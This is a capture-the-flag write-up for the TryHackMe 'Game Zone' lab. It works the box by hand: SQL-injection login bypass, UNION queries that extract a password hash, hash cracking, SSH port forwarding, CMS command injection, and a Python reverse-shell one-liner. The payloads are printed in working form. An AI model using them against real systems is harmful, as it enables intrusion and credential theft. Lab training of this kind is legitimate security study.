TryHackMe Game Zone writeup

TryHackMe Game Zone writeup

Game Zone is the fourth machine in the “Advanced Exploitation” part of TryHackMe’s “Offensive pentesting” path.


Nmap scan output:

nmap -sC -sV -o gamezone <ip>

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

Only two ports are available: ssh and http.

Open the browser and check the content on port 80.


I used ' or 1=1# to bypass the login form.

After that, you will be redirected to the /portal.php page with a single search bar.

The official guide is recommending you use SQLMap here, but I’m doing this room to prepare myself for the upcoming OSCP.

SQLMap is banned on the OSCP, plus you can use the Metasploit only once. That’s why most of my writeups here are using mostly manual ways to exploit the target.

You can read about the manual way of SQLi here, but I’ll shrink it down to the key points applicable to this box.

We got some data back if we are trying the syntax of a basic UNION injection:


First, we need to know what’s inside the DB. We can check INFORMATION_SCHEMA for that:


As an output, we got the list of schemas. information_schema,db,mysql,performance_schema,sys

We are interested in db in the first place.

Let’s check what tables can we find inside a db:


There are only two tables post and users. Users sound more like juicy stuff, let’s dig in a bit more and extract a column of it:


The output: username,pwd,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS Sweet, so there are username and pwd! Let’s extract them:

' UNION SELECT 1,(select username from db.users),3#



' UNION SELECT 1,(select pwd from db.users),3#


We got credentials! Well, it’s still a hash, and we have to crack it.

JohnTheReaper can help with that.

/usr/sbin/john -w=/usr/share/wordlists/rockyou.txt ./john.hash --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
***********    (agent47)
1g 0:00:00:00 DONE (2020-10-16 04:10) 2.325g/s 6782Kp/s 6782Kc/s 6782KC/s vimivi..veluca
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

The password is redacted due to THM’s rule about writeups.

Now, when you have both username and password, you can connect to the machine via ssh.


Privilege escalation is very tricky here.

First, you can check what is running on the machine. This part is nicely described in the official guide, so I will quickly go through it:

agent47@gamezone:~$ ss -tulpn

We can see that a service running on port 10000 is blocked via a firewall rule from the outside, so we can’t interact with it directly.

However, we can use ssh tunneling to forward this service to some ports in our Kali Linux machine:

ssh -L 10000:localhost:10000 agent47@<ip>

Now if you navigate to the localhost:10000 on your Kali Linux you will find something new there - the login page for admin section of this site.

Plus, you already have the credentials! wink

From here, we can find out the name and the version of the CMS.

The thing is, that if you check available exploits for this CMS, you will actually find a few, but both of them are Metasploit modules.

Again, my initial goal here is to avoid automated tools.

Frankly speaking, this one took me a while to figure out.

As you might guess, we will not ‘use’ the exploit itself, but I will use the vulnerability described there.

This is a snippet of the most interesting part of it:

res = send_request_cgi(
    'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
    'cookie'  => "sid=#{session}"
   }, 25)

Long story short, we can specify the put a random text there, add the | symbol, and put our payload there with another | at the end.

If your goal is the flag, you can do something like


And get your flag.

But! Our goals here might be different, but I prefer to look at this as a penetration test, and not a CTF even.

SHELL > flag

Let’s spawn a shell, then!

You have access to the system, so you can save some time with commands like which python, which perl, etc. You can also check if the flavor of the nc supports -e flag or not.

To get the shell, I used a command from PentestMonkey for python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

as you will throw it into the browser, don’t forget to URL-encode all the things:


Open up a listener for your port, you can use something fancy as 1337 if you want to trigger your root shell:


Voilà! There you go.


  • I hate SQLi too, but you have to learn it to not always blindly rely on your tools

  • Metasploit is fine, it is well-tested, it is rich, etc. But make sure that you can read and understand the code behind the exploit that you are using.